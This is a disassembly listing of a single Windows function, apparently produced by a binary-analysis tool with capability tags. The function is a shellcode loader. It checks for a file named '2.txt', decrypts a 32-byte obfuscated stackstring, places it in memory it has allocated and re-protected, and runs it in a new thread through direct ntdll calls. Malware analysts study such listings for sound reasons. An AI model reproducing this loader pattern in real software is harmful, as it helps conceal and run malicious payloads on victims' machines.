Function at 0x140004370
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Spawn thread to rwx shellcode
Terminate process

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x108
lea rdx, str.2.txt
lea rcx, [rsp + 0xd8]
call fcn.140001a60
nop
lea rcx, [rsp + 0xd8]
call fcn.140002470
movzx eax, al
test eax, eax
jne 0x1400043b6
mov dword [rsp + 0x98], 1
jmp 0x1400043c1
mov dword [rsp + 0x98], 0
movzx eax, byte [rsp + 0x98]
mov byte [rsp + 0x60], al
lea rcx, [rsp + 0xd8]
call fcn.140001f10
movzx eax, byte [rsp + 0x60]
test eax, eax
je 0x1400043eb
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov byte [rsp + 0x68], 0x40
mov byte [rsp + 0x69], 0x16
mov byte [rsp + 0x6a], 0xa2
mov byte [rsp + 0x6b], 0xaf
mov byte [rsp + 0x6c], 0xed
mov byte [rsp + 0x6d], 0xaa
mov byte [rsp + 0x6e], 0xa2
mov byte [rsp + 0x6f], 0xbf
mov byte [rsp + 0x70], 0xee
mov byte [rsp + 0x71], 0xa0
mov byte [rsp + 0x72], 0x6b
mov byte [rsp + 0x73], 0x65
mov byte [rsp + 0x74], 0xae
mov byte [rsp + 0x75], 0x87
mov byte [rsp + 0x76], 0xda
mov byte [rsp + 0x77], 0x50
mov byte [rsp + 0x78], 1
mov byte [rsp + 0x79], 0x52
mov byte [rsp + 0x7a], 0x33
mov byte [rsp + 0x7b], 0xe4
mov byte [rsp + 0x7c], 0x71
mov byte [rsp + 0x7d], 0x88
mov byte [rsp + 0x7e], 0xab
mov byte [rsp + 0x7f], 0x68
mov byte [rsp + 0x80], 0x5d
mov byte [rsp + 0x81], 0xe0
mov byte [rsp + 0x82], 0xd4
mov byte [rsp + 0x83], 0x7b
mov byte [rsp + 0x84], 0xff
mov byte [rsp + 0x85], 0x18
mov byte [rsp + 0x86], 0x97
mov byte [rsp + 0x87], 0x12
mov byte [rsp + 0x88], 0x29
mov byte [rsp + 0x89], 0x95
mov byte [rsp + 0x8a], 0xe3
mov byte [rsp + 0x8b], 0x50
mov byte [rsp + 0x8c], 0x17
mov byte [rsp + 0x8d], 0xe8
mov byte [rsp + 0x8e], 0x2b
mov byte [rsp + 0x8f], 0xca
mov byte [rsp + 0x90], 0xf7
mov byte [rsp + 0x91], 0x9e
mov byte [rsp + 0x92], 0x99
mov byte [rsp + 0x93], 0x2c
mov byte [rsp + 0x94], 0xc8
mov byte [rsp + 0x95], 0x5c
mov byte [rsp + 0x96], 0x66
mov byte [rsp + 0x97], 0x6a
mov dword [rsp + 0xac], 0x20
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xc0], 0x2000
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0xc0]
xor r8d, r8d
lea rdx, [rsp + 0xa0]
mov rcx, 0xffffffffffffffff
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [rsp + 0xa8], eax
cmp dword [rsp + 0xa8], 0
jge 0x140004590
mov eax, 1
jmp 0x1400046fb
mov r9d, 0x10
lea r8, [rsp + 0x68]
mov edx, dword [rsp + 0xac]
lea rcx, [rsp + 0x78]
call fcn.140002300
mov r8d, 0x20
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0xa0]
call sub.VCRUNTIME140.dll_memmove
mov dword [rsp + 0xb0], 0
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0xa0]
mov rcx, 0xffffffffffffffff
call sub.ntdll.dll_NtProtectVirtualMemory
mov dword [rsp + 0xb4], eax
cmp dword [rsp + 0xb4], 0
jge 0x140004619
mov eax, 2
jmp 0x1400046fb
mov qword [rsp + 0xc8], 0xffffffffffffffff
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov r9, 0xffffffffffffffff
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rsp + 0xc8]
call sub.ntdll.dll_NtCreateThreadEx
mov dword [rsp + 0xb8], eax
cmp dword [rsp + 0xb8], 0
jge 0x1400046af
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_sysNtCreateThreadEx___u__n
call fcn.140004710
mov eax, 3
jmp 0x1400046fb
mov qword [rsp + 0xd0], 0xffffffffff676980
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0xc8]
call sub.ntdll.dll_NtWaitForSingleObject
mov dword [rsp + 0xbc], eax
cmp dword [rsp + 0xbc], 0
jge 0x1400046f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_sysNtWaitForSingleObject___u__n
call fcn.140004710
mov eax, 4
jmp 0x1400046fb
xor eax, eax
add rsp, 0x108
ret